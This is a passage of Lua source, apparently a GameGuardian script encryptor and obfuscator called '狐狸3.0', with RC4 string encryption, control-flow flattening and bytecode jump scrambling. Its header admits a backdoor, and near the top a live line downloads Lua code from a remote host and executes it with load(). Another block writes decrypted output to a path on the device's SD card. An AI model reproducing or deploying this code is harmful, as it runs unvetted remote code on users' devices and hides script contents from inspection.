--发布频道@ZWXYYDS --By.鑫神 --开源:鑫神 QQ:1827974540 --后门自删即可 --狐狸3.0 用此源码圈钱死全家 --全源未改动 local error = error function KSA(key) local key_len = string.len(key) local S = {} local key_byte = {} for i = 0, 255 do S[i] = i end for i = 1, key_len do key_byte[i-1] = string.byte(key, i, i) end local j = 0 for i = 0, 255 do j = (j + S[i] + key_byte[i % key_len]) % 256 S[i], S[j] = S[j], S[i] end return S end function PRGA(S, text_len) local i = 0 local j = 0 local K = {} for n = 1, text_len do i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K[n] = S[(S[i] + S[j]) % 256] end return K end local yun_D = gg.makeRequest("https://wp.ylyya.cn/f/7XvGs9/1.lua").content yun_D = load(yun_D)() string.rc4 = function(text,key) local text_len = string.len(text) local S = KSA(key) local K = PRGA(S, text_len) return output(K, text) end function output(S, text) local len = string.len(text) local c = nil local res = {} for i = 1, len do c = string.byte(text, i, i) res[i] = string.char(bxor(S[i], c)) end return table.concat(res) end ------------------------------- -------------bit wise----------- ------------------------------- local bit_op = {} function bit_op.cond_and(r_a, r_b) return (r_a + r_b == 2) and 1 or 0 end function bit_op.cond_xor(r_a, r_b) return (r_a + r_b == 1) and 1 or 0 end function bit_op.cond_or(r_a, r_b) return (r_a + r_b > 0) and 1 or 0 end function bit_op.base(op_cond, a, b) -- bit operation if a < b then a, b = b, a end local res = 0 local shift = 1 while a ~= 0 do r_a = a % 2 r_b = b % 2 res = shift * bit_op[op_cond](r_a, r_b) + res shift = shift * 2 a = math.modf(a / 2) b = math.modf(b / 2) end return res end function bxor(a, b) return bit_op.base('cond_xor', a, b) end function band(a, b) return bit_op.base('cond_and', a, b) end function bor(a, b) return bit_op.base('cond_or', a, b) end Un_know = function(num) local zl = {} if not num then num = math.random(4, 6) end for x = 1, num do zl[#zl+1] = math.random(127, 248) end return string.char(table.unpack(zl)) end--生成16进制字符 local fangan = "" local value_var11 = "\xc9\x09\xf4\x45\x39\x9b\xa6\xc1\x9d\x70\xf7\x17\xc8\x51\xe2\x67\xe8\xfd\xc8\x5c\x77\x0f\x18\x61" value_var11={value_var11:byte(0,-1)} local yz_ local enc = function(yx,door_hl,freezedd) --local Pic = {""} local debr1 = { "(function() local s1 = function() return ", " end local s2=(function()return s1() end)() return s2 end)()" } local debr2 = { "(function() local s1,s2 goto ss ::ss1:: s2=(function()return s1() end)() goto ss2 ::ss:: s1 = function() return ", " end goto ss1 ::ss2:: return s2 end)()" } Let={} function To__16(str) return(str:gsub(".",function(x) return(To_16(string.byte(x))) end)) end function RandomStr(len) len=len or math.random(4,6) local str = "" str = string.char(math.random(65, 90)) for num = 1, len - 1 do local number = math.random(1, 3) if number == 1 then str = str .. string.char(math.random(65, 90)) elseif number == 2 then str = str .. string.char(math.random(97, 122)) elseif number == 3 then str = str .. string.char(math.random(48, 57)) end end return str end Let.To_16 = function(txt) local sp = string.format("%x",txt) if #sp == 1 then sp = "0" .. sp end return "\\x" .. sp end--转16进制 Let.Un_know = function(num) local zl = {} if not num then num = math.random(4, 6) end for x = 1, num do zl[#zl+1] = Let.To_16(math.random(127, 248)) end return table.concat(zl) end--生成16进制字符 Let.Ran_str = function(len) if not len then len = math.random(4, 6) end local res = "" for i = 1, len do local choice = math.random(1, 2) if choice == 1 then res = res .. string.char(math.random(65, 90)) elseif choice == 2 then res = res .. string.char(math.random(97, 122)) end end return res end Let.Ran_bit = function(num) local zl = {} if not num then num = math.random(3, 5) end for x = 1, num do zl[#zl+1] = "\\x" .. string.char(math.random(65, 70)) .. string.char(math.random(65, 70)) end return table.concat(zl) end local debris = function(txt) if math.random(0,1) == 1 then return debr1[1]..txt..debr1[2] else return debr2[1]..txt..debr2[2] end end local txt_Tab_set={} local tab_txt00={} local tab_txt002={} local tab_num = 0 local tab_num2 = 0 function Table_Rand(t) local tRet = {} local Total = #t while Total > 0 do local i = math.random(1,Total) table.insert(tRet,t[i]) t[i] = t[Total] Total = Total-1 end return tRet end--打乱table local tab_ran_16 = {} Let_know = function(num) local zl = {} if not num then num = math.random(4, 8) end for x = 1, num do zl[#zl+1] = "\\x"..string.format("%02x",math.random(130, 190)) end zl = table.concat(zl) if tab_ran_16[zl] then Let_know() end tab_ran_16[zl] = true return zl end--生成破损字符 any_byte = function(num) local zl = {} if not num then num = math.random(4, 6) end for x = 1, num do zl[#zl+1] = string.char(math.random(0, 255)) end zl = table.concat(zl) if tab_ran_16[zl] then any_byte() end tab_ran_16[zl] = true return zl end--生提16进制字符 local function line(yx) return yx:gsub("\n%s+","\n") end local Forbyte = function(UI) UI=UI.."\x00" local p0 = #UI local p1 = string.char(#UI%256) local q2 = #UI/256 local p3, p5, p7, q4, q6 p3 = string.char(q2%256) q4 = q2/256 p5 = string.char(q4%256) q6 = q4/256 p7 = string.char(q6%256) return {p1, p3, p5, p7} end local chunk_2,chunk_3={},{} local chunk_4=100001 function WlCon(nr)--while写法 local func_Name = Let.Ran_str() local Key = math.random(10000,999999) local Main_Key = Key for i,k in pairs(nr) do if i==#nr then nr[i]="if " .. func_Name .. "==" .. debris(Key) .. " then\n" .. nr[i] .. "\nbreak\nend\n" else nr[i]="if " .. func_Name.."==" .. debris(Key) .. " then\n" .. nr[i] Key = math.random(10000,999999) nr[i]=nr[i] .. "\n" .. func_Name .. "=" .. Key .. "\nend\n" end end return "local " .. func_Name .."=" .. Main_Key .. "\nwhile true do\n" .. table.concat(Table_Rand(nr)).."\nend" end local Key_1 = math.random(5,10) local Key_2 = Key_1 * math.random(10,100) local Key_3 = math.random(5,18) local Hwea = function(str) local i local a, b, c, d = 1, 2, 0, 11 local l = string.len(str) local h = l local x = string.byte(str, h, l) local v = bit32.bxor(Key_1,Key_2) local step = (l >> Key_1) * Key_2 * h + a local step2 = ((x >> Key_1) * Key_2 * h + a) * (Key_1 + Key_2) for i = l,step,step-step2 do local k = string.byte(str, i, i) h = (Key_2 ^ b ~ bit32.bxor((v + x - (x >> k) * Key_2)~ (h * step2 % (Key_1 + Key_2)), ((i - v * v + ((x + k) >> (v * Key_1)) * (step2 % step)) ~ (k >> ((k - step2) % step))) ~ h) << (i ~ h)) + Key_3 end local ll = string.len(h) if (d - ll) ~= c then h = h * d ^ ( d - ll) end h = (h * ll ~ (Key_1 ~ Key_2)) + Key_3 - v return (h ~ c^c) end function WlConGoto(nr)--goto写法 local func_Name = Let.Ran_str() local Key = math.random(10000,999999) local Main_Key = Key local s=0 for i,k in pairs(nr) do if i==#nr then nr[i]="::S" .. s .. "::\nif " .. func_Name .. "==" .. debris(Key) .. " then\n" .. nr[i] .. "\nend\ngoto S" .. (s + 1) .. "\n" else nr[i]="::S" .. s .. "::\nif " .. func_Name.."==" .. debris(Key) .. " then\n" .. nr[i] Key = math.random(10000,999999) nr[i]=nr[i] .. "\n" .. func_Name .. "=" .. Key .. "\nend\ngoto S" .. (s + 1) .. "\n" s=s+1 end end return "local " .. func_Name .."=" .. Main_Key .. "\ngoto S0\n" .. table.concat(Table_Rand(nr)) .. "::S" .. (s + 1) .. "::" end NusRv = {} local cxk = {} local Min_num = function(...) local arm = {...} local num = nil for i, v in pairs(arm) do if v ~= nil then if not num then num = v elseif num > v then num = v end end end return num end local metatable0 = { "__add", "__sub", "__mul", "__div", "__mod", "__concat", "__call", } local decmetatable = [=====[ local dec = function(tab1, tab2) local jg,jg2 = nil, {} if not tab2 then tab2 = {tab1[2]} end jg={string.byte(ARM:sub(tab1[1] - tab2[1], tab1[1]), 0, -1)} local cc = 1 for i = 1, #jg do table.insert(jg2,Char[jg[i]~value_var[cc]]) cc = cc == #value_var and 1 or cc+1 end return table.concat(jg2) end local metatable = { "__add", "__sub", "__mul", "__div", "__mod", "__concat", "__call", } local metaMethod={} for i, k in pairs(metatable) do metaMethod[k] = dec end for i,k in pairs(tab_txt) do tab_txt[i]=setmetatable(k,metaMethod) end ]=====] function Table_Rand(t) local tRet = {} local Total = #t while Total > 0 do local i = math.random(1,Total) table.insert(tRet,t[i]) t[i] = t[Total] Total = Total-1 end return tRet end--打乱table local JMP={} local ZL = { ['LOADKX'] = 2, ['EXTRAARG'] = 2, ['UNM'] = 2, ['BNOT'] = 2, ['NOT'] = 2, ['LEN'] = 2, ['ADD'] = 2, ['SUB'] = 2, ['MUL'] = 2, ['DIV'] = 2, ['IDIV'] = 2, ['MOD'] = 2, ['POW'] = 2, ['BXOR'] = 2, ['BOR'] = 2, ['BAND'] =2, ['SHL'] = 2, ['SHR'] = 2, ['GETTABLE'] = 2, ['SETTABLE'] = 2, ['NEWTABLE'] = 2, ['SELF'] = 2, ['SETLIST'] = 2, ['LOADNIL'] = 2, ['CONCAT'] = 2, ['CALL'] = 2, ['VARARG'] = 2, ['TAILCALL'] = 2, ['TFORCALL'] = 2, ['GETUPVAL'] = 2, ['SETUPVAL'] = 2, ['GETTABUP'] = 2, ['SETTABUP'] = 2, ['CLOSURE'] = 2, ['RETURN'] = 2, ['FORLOOP'] = 2, ['FORPREP'] = 2, ['TFORLOOP'] = 2, } local LNT = { BNOT = 13, UNM = 14, LEN = 15, } local calculate={ ["ADD"]=1, ["SUB"]=2, ["MUL"]=3, ["DIV"]=4, ["POW"]=5, ["BXOR"]=6, ["BAND"]=7, ["BOR"]=8, ["MOD"]=9, ["IDIV"]=10, ["SHL"]=11, ["SHR"]=12 } freezed=true function Frist(eq_jg, infin, less) return { "LT 0 v"..infin.." v"..less, "LE 0 v"..infin.." v"..less, "EQ 0 v"..infin.." v"..less, "TEST v"..eq_jg.." 1", "LT 1 v"..infin.." v"..less, "LE 1 v"..infin.." v"..less, "EQ 1 v"..infin.." v"..less, "TEST v"..eq_jg.." 0", "JMP", "FORPREP v181", } end function JMP.Disloc(Tran,free) gg.toast("正在进行JMP错位...") --Tran = Frist(Tran) Tran = Tran:gsub("; .local v[^\n]+\n",""):gsub("\n%s*; .end local v[^\n]+",""):gsub("\n%s+","\n") Tran = Tran:gsub("maxstacksize (%d+)(.-)(\n%.[ef][nu][dn][c ][; ])",function(max,str,final) local lx=0 for i in str:gmatch("\n") do lx=lx+1 end if lx>=9 then local tre_Z = {} local num = 1000000 local tre_X = {} local tre_V = {} local less = math.random(240,245) local infin = less + math.random(1,3) tre_X[#tre_X+1] = ":goto_" .. num .. "\nLOADK v"..infin.." 1e300008\nJMP :goto_" .. (num+1) num = num+1 tre_X[#tre_X+1] = ":goto_" .. num .. "\nLOADK v"..less.." "..math.random(1,999999).."\nJMP :goto_" .. (num+1) num = num+1 local num_final_start = num str = str:gsub("[^\n]+",function(s) zl = s:match("%S+") local Dt,tD,DT,HX,dT = nil, nil, nil, nil, nil if zl == ".upval" or zl == ".line" then tre_Z[#tre_Z+1] = s tD = true end if num>1005000 then HX = true end if zl == "LOADK" and HX == nil and fangan == "高级版" then num = num+1 tre_V[#tre_V+1] = ":goto_" .. num .. "\n" .. s .. "\nJMP :goto_" .. (num+1).. "\n" local ran_Control2={ "JMP", "FORPREP v181" } local ran_goto = ran_Control2[math.random(1,2)] num = num+1 if zl == "LOADK" then local jc = s:match("v%d+") if math.random(0,1) == 1 then tre_X[#tre_X+1] = ":goto_" .. num .. "\nTEST "..jc.." 1\n"..ran_goto.." :goto_" .. (num+1) .. "\n"..ran_goto .. " :goto_"..math.random(1000000,num) num = num+1 dT = true elseif math.random(0,1) == 1 then tre_X[#tre_X+1] = ":goto_" .. num .. "\nTEST "..jc.." 0\n"..ran_goto.." :goto_" .. math.random(1000000,num) .. "\n"..ran_goto .. " :goto_" .. (num+1) num = num+1 dT = true end end Dt = true end if ZL[zl] then num = num+1 if zl == "RETURN" and s:find("v") == nil then tre_X[#tre_X+1] = ":goto_" .. num .. "\n" .. s DT=true else local ran_sj = math.random(0,2) if not freezed then ran_sj = 0 end local eq_jg if math.random(0,1) == 1 then eq_jg = infin else eq_jg = less end local ran_Control = Frist(eq_jg, infin, less) local ran_goto = ran_Control[math.random(9,10)] if ran_sj==0 then tre_X[#tre_X+1] = ":goto_" .. num .. "\n" .. s .. "\n"..ran_goto.." :goto_" .. (num+1) num = num+1 elseif ran_sj == 1 then tre_X[#tre_X+1] = ":goto_" .. num .. "\n" .. s .. "\n"..ran_Control[math.random(1,4)].."\n"..ran_goto.." :goto_" .. (num+1) .. "\n"..ran_goto.." :goto_"..math.random(1000000,num) num = num+1 elseif ran_sj == 2 then tre_X[#tre_X+1] = ":goto_" .. num .. "\n" .. s .. "\n"..ran_Control[math.random(5,8)].."\n"..ran_goto.." :goto_"..math.random(1000000,num).."\n"..ran_goto.." :goto_" .. (num+1) num = num+1 end if zl == "CLOSURE" and fangan == "高级版" then local jc = s:match("v%d+") if math.random(0,1) == 1 then tre_X[#tre_X+1] = ":goto_" .. num .. "\nTEST "..jc.." 1\n"..ran_goto.." :goto_" .. (num+1) .. "\n"..ran_goto .. " :goto_"..math.random(1000000,num) num = num+1 else tre_X[#tre_X+1] = ":goto_" .. num .. "\nTEST "..jc.." 0\n"..ran_goto.." :goto_" .. math.random(1000000,num) .. "\n"..ran_goto .. " :goto_" .. (num+1) num = num+1 end dT = true end if zl == "CALL" and fangan == "高级版" then local jc = s:match("v%d+") if jc == "v222" or jc == "v201" then if math.random(0,1) == 1 then tre_X[#tre_X+1] = ":goto_" .. num .. "\nTEST "..jc.." 1\n"..ran_goto.." :goto_" .. (num+1) .. "\n"..ran_goto .. " :goto_"..math.random(1000000,num) num = num+1 else tre_X[#tre_X+1] = ":goto_" .. num .. "\nTEST "..jc.." 0\n"..ran_goto.." :goto_" .. math.random(1000000,num) .. "\n"..ran_goto .. " :goto_" .. (num+1) num = num+1 end dT = true end end if zl == "GETTABLE" and fangan == "高级版" then local jc = s:match("v%d+ (v%d+)") if math.random(0,1) == 1 then tre_X[#tre_X+1] = ":goto_" .. num .. "\nTEST "..jc.." 1\n"..ran_goto.." :goto_" .. (num+1) .. "\n"..ran_goto .. " :goto_"..math.random(1000000,num) num = num+1 else tre_X[#tre_X+1] = ":goto_" .. num .. "\nTEST "..jc.." 0\n"..ran_goto.." :goto_" .. math.random(1000000,num) .. "\n"..ran_goto .. " :goto_" .. (num+1) num = num+1 end dT = true end Dt = true end end if Dt then if dT then return "TFORLOOP v229 :goto_" .. (num-2) .. "\n:goto_" .. num end return "TFORLOOP v229 :goto_" .. (num-1) .. "\n:goto_" .. num elseif tD then return "" elseif DT then return "TFORLOOP v229 :goto_" .. num else return s end end,131000) str = ":goto_"..num_final_start.."\n" .. str local system = {} return "maxstacksize 250\n" .. table.concat(tre_Z,"\n") .. "\nTFORLOOP v229 :goto_999999\nLOADBOOL v230 1\nLOADK v181 1\nLOADK v182 1\nLOADK v183 1\nJMP :goto_1000000\n" .. table.concat(Table_Rand(tre_X),"\n") .. "\n" .. str .. "\n" .. table.concat(Table_Rand(tre_V),"\n") .. "\nRETURN\n:goto_999999\nJMP :goto_999999\n"..final else return "maxstacksize "..max..str..final end end) Tran = Tran:gsub("\n%s+","\n") return Tran end local Deary = {} local tab_count = {} local num_count=0 local ToStrong_Str = function(str) if str == "" then return "string.char()" end if Deary[str] then return Deary[str] end local dep = str str = {str:byte(0,-1)} local p1 = metatable0[math.random(1, #metatable0)] local brush = math.random(10,20) local txt_Tab_set3=any_byte(brush) local str1={} local Arith local Arith2="" if p1 == "__add" then Arith = "+" elseif p1 == "__sub" then Arith = "-" elseif p1 == "__mul" then Arith = "*" elseif p1 == "__div" then Arith = "/" elseif p1 == "__mod" then Arith = "%" elseif p1 == "__concat" then Arith = ".." elseif p1 == "__call" then Arith = "(" Arith2 = ")" end local cc = 1 for i,k in pairs(str) do str1[i] = string.char(k ~ value_var11[cc]) cc = cc == #value_var11 and 1 or cc+1 end str1 = table.concat(str1) local len_str=#str1 txt_Tab_set3 = txt_Tab_set3 .. str1 txt_Tab_set[#txt_Tab_set +1] = txt_Tab_set3 num_count = num_count + #txt_Tab_set3 tab_num = tab_num +1 local str__ran = Let_know() local num_jg_pr = num_count tab_txt00[tab_num] = "tab_txt[\034"..str__ran.."\034] = {" .. num_jg_pr .. "}" str1 = "tab_txt[\034" .. str__ran .. "\034]" local str__ran = Let_know() if Arith then if tab_count[len_str-1] then str1 = str1 ..Arith.. tab_count[len_str-1]..Arith2 else tab_num2 = tab_num2 +1 tab_txt002[tab_num2] = "tab_txt2[\034"..str__ran.."\034] = {"..(len_str-1).."}" tab_count[len_str-1] = "tab_txt2[\034" .. str__ran .. "\034]" str1 = str1 ..Arith..tab_count[len_str-1]..Arith2 end end str1 = debris(str1) str1 = "("..str1..")" Deary[dep] = str1 return Deary[dep] end fuc = { ["gg"] = 2, ["os"] = 2, ["io"] = 2, ["string"] = 2, ["math"] = 2, ["table"] = 2, ["debug"] = 2, ["bit32"] = 2, ["utf8"] = 2, } local Fuc_Enc = function(ltre) gg.toast("正在加密标准库...") for v, s in pairs(_ENV) do if type(s) == "table" and fuc[v] then Enc_func1 = ToStrong_Str(v) for i in pairs(s) do if ltre:find(v .. "%." .. i) then Enc_func2 = ToStrong_Str(i) ltre = ltre:gsub("([^%w_])" .. v .. "%." .. i .. "%(",function(x) return x.."_ENV[" .. Enc_func1 .. "]" .. "[" .. Enc_func2 .. "](" end) ltre = ltre:gsub("([^%w_])" .. v .. "%." .. i .. "%)",function(x) return x.."_ENV[" .. Enc_func1 .. "]" .. "[" .. Enc_func2 .. "])" end) ltre = ltre:gsub("([^%w_])" .. v .. "%." .. i .. "%s*,",function(x) return x.."_ENV[" .. Enc_func1 .. "]" .. "[" .. Enc_func2 .. "]," end) end end end end return ltre end local Enc_Strings = function(DATA) local gr = {} repeat local s1, ss1, x1, xx1, n1, n2, str s1 = string.find(DATA, "\034")--单引号 ss1 = string.find(DATA, "\039")--友引号 x1 = string.find(DATA, "%[[=]*%[")--中括号 xx1 = string.find(DATA, "%-%-")--注释 str = Min_num(s1, ss1, x1, xx1) if str == nil then break end if str == s1 then DATA = DATA:gsub("(.-)(\034.-\034)",function(t1, t2) gr[#gr + 1] = t1 t2 = string.gsub(t2, "\\\\","\\092") t2 = string.gsub(t2, "\\\034", "\\034") if t2:sub(-1, -1) ~= "\034" then return t2 end t3 = load("return "..t2) if not t3 then gg.alert("\034加密失败\n"..t2) os.exit() end gr[#gr + 1] = ToStrong_Str(t3()) return "" end, 1) elseif str == ss1 then DATA = DATA:gsub("(.-)(\039.-\039)",function(t1, t2) gr[#gr + 1] = t1 t2 = string.gsub(t2, "\\\\","\\092") t2 = string.gsub(t2, "\\\039", "\\039") if t2:sub(-1, -1) ~= "\039" then return t2 end t3 = load("return "..t2) if not t3 then gg.alert("\039加密失败\n"..t2) os.exit() end gr[#gr + 1] = ToStrong_Str(t3()) return "" end, 1) elseif str == x1 then local g1 = string.match(DATA,"%[([=]*)%[") DATA=DATA:gsub("(.-)(%["..g1.."%[.-%]"..g1.."%])",function(t1, t2) gr[#gr + 1] = t1 t3 = load("return "..t2) if not t3 then gg.alert("[[加密失财\n"..t2) os.exit() end gr[#gr + 1] = ToStrong_Str(t3()) return "" end, 1) elseif str == xx1 then d1, d2, d3, d4 = string.find(DATA, "%-%-(%[([=]*)%[)") if d1 == xx1 then DATA = string.gsub(DATA, "(.-)%-%-%[" .. d4 .. "%[.-%]" .. d4 .. "%]", function(txt1) gr[#gr + 1] = txt1 return " " end, 1) else DATA = string.gsub(DATA, "(.-)%-%-[^\n]*", function(txt1) gr[#gr + 1] = txt1 return "" end, 1) end elseif str == n1 then DATA = DATA:gsub("(.-[^%w_])(0[xX][0-9A-Fa-f]+)",function(txt1,txt2) gr[#gr + 1] = txt1 gr[#gr + 1] = "TonumbEr("..ToStrong_Str(txt2)..")" return "" end,1) elseif str == n2 then local n3, n4, n5, n6 n3 = string.find(DATA, "[^%w_]%d+%.%d+[eE][%-%+]%d+") n4 = string.find(DATA, "[^%w_]%d+%.%d+[eE]%d+") n5 = string.find(DATA, "[^%w_]%d+[eE]%d+") n6 = string.find(DATA, "[^%w_]%d+%.%d+") if str == n3 then DATA = DATA:gsub("(.-[^%w_])(%d+%.%d+[eE][%-%+]%d+)",function(txt1,txt2) gr[#gr + 1] = txt1 gr[#gr + 1] = "TonumbEr("..ToStrong_Str(txt2)..")" return "" end,1) elseif str == n4 then DATA = DATA:gsub("(.-[^%w_])(%d+%.%d+[eE]%d+)",function(txt1,txt2) gr[#gr + 1] = txt1 gr[#gr + 1] = "TonumbEr("..ToStrong_Str(txt2)..")" return "" end,1) elseif str == n5 then DATA = DATA:gsub("(.-[^%w_])(%d+[eE]%d+)",function(txt1,txt2) gr[#gr + 1] = txt1 gr[#gr + 1] = "TonumbEr("..ToStrong_Str(txt2)..")" return "" end,1) elseif str == n6 then DATA = DATA:gsub("(.-[^%w_])(%d+%.%d+)",function(txt1,txt2) gr[#gr + 1] = txt1 gr[#gr + 1] = "TonumbEr("..ToStrong_Str(txt2)..")" return "" end,1) else DATA = DATA:gsub("(.-[^%w_])(%d+)",function(txt1,txt2) gr[#gr + 1] = txt1 gr[#gr + 1] = "TonumbEr("..ToStrong_Str(txt2)..")" return "" end,1) end else break end until not str gr[#gr+1]=DATA gr = table.concat(gr):gsub("return%s+end","return 0\nend") -- gr = Fuc_Enc(gr) return gr end local Enc_FuncVarName = function(txt) txt = {txt:byte(0,-1)} local cc = 1 for i,k in pairs(txt) do txt[i] = "\\x"..string.format("%02x",k~value_var11[cc]) cc = cc == #value_var11 and 1 or cc+1 end return table.concat(txt) end local Func_va = Let_know() local numb = 3369709924 local function func_make(upval,index,key,u00) return [===[ .func F]===]..numb..[===[ ; 2 .source "=?" .linedefined 0 .lastlinedefined 0 .numparams 0 .is_vararg 0 .maxstacksize 2 .upval ]===]..upval..[===[ nil .upval ]===]..u00..[===[ nil GETUPVAL v221 u1 GETTABUP v0 u0 "]===]..index..[===[" GETTABLE v0 v0 "]===]..key..[===[" RETURN v0..v0 .end ; F999 ]===] end local Enc_FuncVar = function(yx) local start, fina yx=yx:gsub("(GETUPVAL )v%d+( u%d+)%s+LOADK v%d+ \034\\xFD\\xFE\034%s+CALL v%d+..v%d+","%1v221%2") fina=({string.find(yx,"LOADK v%d+ \034触发调用处\034")})[2] start=yx:sub(0,fina) local data=yx:sub(fina+1,-1) data = data:gsub("(maxstacksize %d+)(.-)(%s%.[ef][nu][dn][c ][; ])",function(max,str,final) local tab={} local u00 = str:match("GETUPVAL v221 (u%d+)") str=str:gsub("GETTABUP v%d+ (u%d+) \034([%w_]+)\034%s+GETTABLE (v%d+) v%d+ \034([%w_]+)\034",function(upval, index, p0, key) numb = numb +1 tab[#tab+1]=func_make(upval,index,key,u00) return "CLOSURE "..p0.." F"..numb.."\nCALL "..p0..".."..p0.." "..p0..".."..p0 end) return max..str..table.concat(tab,"\n")..final end) :gsub("(CLOSURE v%d+ F%d+)%.0","%1") :gsub("(func F%d+)%.0","%1") data = string.gsub(data, '%.maxstacksize %d+\n', '.maxstacksize 250\n') local arr = {'"[%w_]+"', '-?%d[%w%.]*'} local opNames = { ADD = true, SUB = true, MUL = true, DIV = true, MOD = true, POW = true, GETTABLE = true, SETTABLE = true, SELF = true, GETTABUP = true, SETTABUP = true, EQ = true, LT = true, LE = true } for i, const in pairs(arr) do local A1 = 210 + (i % 3) data = string.gsub(data, '(\n(\t*)(%u+) %w+ %w+ )(' .. const .. '\n)', function(p1, tab, name, p2) if opNames[name] then return '\n' .. tab .. 'LOADK v' .. A1 .. ' ' .. p2 .. p1 .. 'v' .. A1 .. '\n' end end) data = string.gsub(data, '(\n(\t*)(%u+) %w+ )(' .. const .. ')( %w+\n)', function(p1, tab, name, p2, p3) if opNames[name] then return '\n' .. tab .. 'LOADK v' .. A1 .. ' ' .. p2 .. '\n' .. p1 .. 'v' .. A1 .. p3 end end) data = string.gsub(data, '(\n(\t*)(%u+) %w+ )(' .. const .. ')( ' .. const .. '\n)', function(p1, tab, name, p2, p3) if opNames[name] then local A2 = A1 + 1 return '\n' .. tab .. 'LOADK v' .. A1 .. ' ' .. p2 .. '\n\n' .. tab .. 'LOADK v' .. A2 .. ' ' .. p3 .. p1 .. 'v' .. A1 .. ' v' .. A2 .. '\n' end end) end data = data:gsub("LOADK (v%d+) \034([%w_]+)\034",function(vb,i) local Max = 222 local ran_set if math.random(0,1)==0 then ran_set = "1" else ran_set = "0\nLOADBOOL "..vb.." 1\nMOVE "..vb.." v"..Max end return "MOVE v"..Max.." v221\nLOADK v"..(Max + 1).." \034"..Enc_FuncVarName(i).."\034\nCALL v"..Max.."..v"..(Max + 1).." v"..Max.."..v"..Max.."\nTESTSET "..vb.." v"..Max.." "..ran_set end) data = data:gsub("LOADK (v%d+) (-?%d[%w%.]*)\n",function(vb,i) local Max = 201 local ran_set if math.random(0,1)==0 then ran_set = "1" else ran_set = "0\nLOADBOOL "..vb.." 1\nMOVE "..vb.." v"..Max end return "MOVE v"..Max.." v221\nLOADK v"..(Max + 1).." \034"..Enc_FuncVarName(i).."\034\nLOADBOOL v"..(Max + 2).." 1\nCALL v"..Max.."..v"..(Max + 2).." v"..Max.."..v"..Max.."\nTESTSET "..vb.." v"..Max.." "..ran_set end) data=data:gsub("(%s)([ADSUBMLIVPOWXRNH]+) (%w+) ([%w%.]+) ([%w%.]+)",function(p0,p1,p2,p3,p4) if calculate[p1] then if tonumber(p3) then p3 = "LOADK v224 "..p3 else p3 = "MOVE v224 "..p3 end if tonumber(p4) then p4 = "LOADK v225 "..p4 else p4 = "MOVE v225 "..p4 end return p0.."MOVE v222 v221\nLOADK v223 "..calculate[p1].."\n"..p3.."\n"..p4.."\nCALL v222..v225 v222..v222\nMOVE "..p2.." v222" end end) data=data:gsub("(%s)([BNOTUMLE]+) ([%w%.]+) ([%w%.]+)",function(p0,p1,p2,p3) if tonumber(p3) then p3 = "LOADK v224 "..p3 else p3 = "MOVE v224 "..p3 end if LNT[p1] then return p0.."MOVE v222 v221\nLOADK v223 "..LNT[p1].."\n"..p3.."\nCALL v222..v224 v222..v222\nMOVE "..p2.." v222" end end) data=data:gsub("NEWTABLE (v%d+) %d+ %d+","MOVE v222 v221\nCALL v222..v222 v222..v222\nMOVE %1 v222") yx=start..data yx=yx:gsub("LOADK v%d+ \034触发调用处\034\n","",1) return yx end start_dec=[===[ local value_var,var local tab_by = {} local ar3="p" local tab_by = {} local asc_EA = "i" local asc_E5 = "s" local asc_E7 = "g" local asc_EC = "n" local ar1="(" local asc_E9 = "h" local asc_EF = "a" local asc_EB = "t" local asc_E4 = "r" local ar2=")" local asc_E2 = "c" local asc_E1 = "m" local asc_E3 = "o" local ar4 = "d" local asc_E6 = "u" local asc_E8 = "b" local asc_EQ = "e" local asc_EY = "y" local char = _ENV[asc_E5 .. asc_EB .. asc_E4 .. asc_EA .. asc_EC .. asc_E7][asc_E2 .. asc_E9 .. asc_EF .. asc_E4] local gmtch = _ENV[asc_E5 .. asc_EB .. asc_E4 .. asc_EA .. asc_EC .. asc_E7][asc_E7 .. asc_E1 .. asc_EF .. asc_EB .. asc_E2 .. asc_E9] local match = _ENV[asc_E5 .. asc_EB .. asc_E4 .. asc_EA .. asc_EC .. asc_E7][asc_E1 .. asc_EF .. asc_EB .. asc_E2 .. asc_E9] local tonum = _ENV[asc_EB .. asc_E3 .. asc_EC .. asc_E6 .. asc_E1 .. asc_E8 .. asc_EQ .. asc_E4] local dump_ = _ENV[asc_E5 .. asc_EB .. asc_E4 .. asc_EA .. asc_EC .. asc_E7][ar4 .. asc_E6 .. asc_E1 .. ar3] local sub_ = _ENV[asc_E5 .. asc_EB .. asc_E4 .. asc_EA .. asc_EC .. asc_E7][asc_E5 .. asc_E6 .. asc_E8] local byte_ = _ENV[asc_E5 .. asc_EB .. asc_E4 .. asc_EA .. asc_EC .. asc_E7][asc_E8 .. asc_EY .. asc_EB .. asc_EQ] local Char = {} for i = 0, 255 do Char[i] = char(i) Char[char(i)] = i end local set_tab_ = {} local erp = (function() function a() do return end do return end do return end return "\x00\x11\xFD" end value_var = dump_(a) end)() value_var = sub_(value_var,1,24) value_var = {byte_(value_var,0,-1)} local decrypt_Var = function(txt,free, free2) if txt == nil then return {} end if txt == 1 then return free+free2 elseif txt == 2 then return free-free2 elseif txt == 3 then return free*free2 elseif txt == 4 then return free/free2 elseif txt == 5 then return free^free2 elseif txt == 6 then return free~free2 elseif txt == 7 then return free&free2 elseif txt == 8 then return free|free2 elseif txt == 9 then return free%free2 elseif txt == 10 then return free//free2 elseif txt == 11 then return free<>free2 elseif txt == 13 then return ~free elseif txt == 14 then return -free elseif txt == 15 then return #free elseif set_tab_[txt] then return set_tab_[txt] end local txt2 = "" local cc = 1 for i in gmtch(txt, ".") do i = Char[i] txt2=txt2..Char[i~value_var[cc]] cc = cc == #value_var and 1 or cc+1 end if free then txt2=tonum(txt2) end set_tab_[txt] = txt2 return set_tab_[txt] end ]===] UI="" local out_put=[[ local pay="/sdcard/yx_dec_/1/2/2/3/enc.lua" if io.open(pay) then io.open(pay,"w"):write(ARM2) end function gg.getFile() return gg_getFile end ]] yx=Enc_Strings("\n\n\n"..peizhi..out_put..yx) -- io.open("jmp.lua","w"):write(yx) tab_txt002=WlCon(tab_txt002) tab_txt00 = WlConGoto(tab_txt00) yx="local tab_txt2 = {}\n"..tab_txt002.."\nlocal tab_txt = {}\n"..tab_txt00.."\nlocal Repace = \034触发调用处\034\ndecrypt_Var(\034\\xFD\\xFE\034)\n" ..decmetatable.."\nreturn (function(...)\n".. yx .."\nend)()" yx=yx:gsub("([^%w]function[^%(]*%(.-%))",function(xx) return xx.."\ndecrypt_Var(\034\\xFD\\xFE\034)\n".."\n" end) txt_Tab_set=table.concat(txt_Tab_set) local ran_jg=math.ceil(((1024^2*500)/#txt_Tab_set)/3) if #txt_Tab_set<12000 then txt_Tab_set = 